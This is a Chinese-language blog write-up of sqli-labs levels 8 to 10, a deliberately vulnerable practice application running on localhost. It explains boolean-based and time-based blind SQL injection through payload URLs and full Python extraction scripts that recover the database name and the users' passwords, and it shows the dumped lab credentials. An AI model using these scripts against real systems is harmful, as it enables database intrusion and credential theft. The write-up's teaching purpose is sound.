盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为好几种,本关采用基于布尔的盲注
盲注相关函数:
mid(column_name,start[,length])
select mid(12345,2,3); +----------------+ | mid(12345,2,3) | +----------------+ | 234 | +----------------+ |
substr(string, start, length)/substring(string, start, length)
select substr((select username from users limit 0,1),2); +--------------------------------------------------+ | substr((select username from users limit 0,1),2) | +--------------------------------------------------+ | umb | +--------------------------------------------------+ |
回到本关,先输入单引号和双引号进行测试,发现单引号没有返回信息,于是判断参数是被单引号包围,构造payload测试数据库名的第一个字符:
http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1))=1%23
无返回结果,对数据库名的每一个字符都作类似的测试,由于测试量较大,使用脚本来完成测试:
from urllib import request from urllib import parse import re url = "http://localhost/sqli-labs-master/Less-8/?id=" def length(): "查询数据库名的长度" length = 0 while True: #构造动态参数并用quote函数进行url编码 param = "1' and length(database())="+str(length)+"#" response = request.urlopen(url + parse.quote(param)).read().decode() #匹配成功代表长度正确 if (re.search("You are in...........", response)): return length #失败则加1继续循环 else: length += 1 def database(): "查询数据库名" dbname = "" for n in range(length()): #对128个ascii码值进行遍历并构造动态参数 for a in range(128): param = "1' and ascii(substr(database()," + str(n+1) + "))=" + str(a) + "#" response = request.urlopen(url + parse.quote(param)).read().decode() if (re.search("You are in...........", response)): dbname = dbname + chr(a) break return dbname print(database()) |
输出结果为security
对于函数database()可以采用时间复杂度更低的二分法:
def database(): "查询数据库名" dbname = "" for n in range(length()): a, b = 64, 64 #使用二分法构造动态参数 while True: b = int(b/2) param = "1' and ascii(substr(database()," + str(n+1) + "))<" + str(a) + "#" response = request.urlopen(url + parse.quote(param)).read().decode() if (re.search("You are in...........", response)): a -= b else: param = "1' and ascii(substr(database()," + str(n+1) + "))=" + str(a) + "#" response = request.urlopen(url + parse.quote(param)).read().decode() if (re.search("You are in...........", response)): dbname = dbname + chr(a) break else: a += b return dbname |
速度噌的就提上去了,数据结构果然还是要学好
之后我对之前的脚本做了一些修改,使其支持参数化查询,最终的盲注脚本如下:
from urllib import request from urllib import parse import re url = "http://localhost/sqli-labs-master/Less-8/?id=" def getLength(value): "查询数据库名的长度" length = 0 while True: #构造动态参数并用quote函数进行url编码 param = "1' and length(" + value + ")="+str(length)+"#" response = request.urlopen(url + parse.quote(param)).read().decode() #匹配成功代表长度正确 if (re.search("You are in...........", response)): return length #失败则加1继续循环 else: length += 1 def getName(value): "查询数据库名" dbname = "" for n in range(getLength(value)): a = 64 b = 64 #使用二分法构造动态参数 while True: b = int(b/2) param = "1' and ascii(substr(" + value + "," + str(n+1) + "))<" + str(a) + "#" response = request.urlopen(url + parse.quote(param)).read().decode() if (re.search("You are in...........", response)): a -= b else: param = "1' and ascii(substr(" + value + "," + str(n+1) + "))=" + str(a) + "#" response = request.urlopen(url + parse.quote(param)).read().decode() if (re.search("You are in...........", response)): dbname = dbname + chr(a) break else: a += b return dbname print(getName("(select group_concat(username) from users)")) print(getName("(select group_concat(password) from users)")) |
输出如下,注入成功:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
和上一关不同,第八关只要没有查询到就不会显示“You are in………..”,而本关只要id是有值的就会显示“You are in………..”,没有办法通过页面显示的结果来进行盲注,所以要用到一个特殊的函数sleep(),语法如下:
sleep(seconds) #函数功能即执行延迟seconds秒 |
还要用到的一个函数
if(condition, a, b) #如果condition成立,则返回a,否则返回b |
举个栗子,在本关中构造这样一个payload:
http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(3),1)%23
在if函数中,因为1=1当然是成立的,所以执行sleep(3),所以你会看到网页内容大概在3s后才显示出来,如果表达式不成立,网页就会立即显示出来,而1=1的位置则可以放各种表达式
于是,把上一关的脚本稍微改一下就成了本关的盲注脚本:
from urllib import request from urllib import parse from time import time url = "http://localhost/sqli-labs-master/Less-9/?id=" def getLength(value): "查询value长度" length = 0 while True: #构造动态参数并用quote函数进行url编码 param = "1' and if(length("+value+")="+str(length)+",sleep(0.1),1)#" t = time() #time函数获取当前时间戳 request.urlopen(url + parse.quote(param)) if (time() - t > 0.1): #时间间隔大于0.1代表长度正确 return length else: #失败则加1继续循环 length += 1 def getName(value): "查询value名" dbname = "" for n in range(getLength(value)): a = 64 b = 64 #使用二分法构造动态参数 while True: b = int(b/2) param = "1' and if(ascii(substr("+value+","+str(n+1)+"))<"+str(a)+",sleep(0.1),1)#" t = time() request.urlopen(url + parse.quote(param)) if (time() - t > 0.1): a -= b else: param = "1' and if(ascii(substr("+value+","+str(n+1)+"))="+str(a)+",sleep(0.1),1)#" t = time() request.urlopen(url + parse.quote(param)) if (time() - t > 0.1): dbname = dbname + chr(a) break else: a += b return dbname print(getName("(select group_concat(username) from users)")) print(getName("(select group_concat(password) from users)")) |
结果和上一关是一样的
题如其名,只要把上一关绕过用的单引号改成双引号就可以盲注成功,这一关源程序和上一关应该就只是单引号双引号的区别而已
脚本请参照第九关
https://soporbear.github.io/2018/05/28/sqli-labs-less8-10/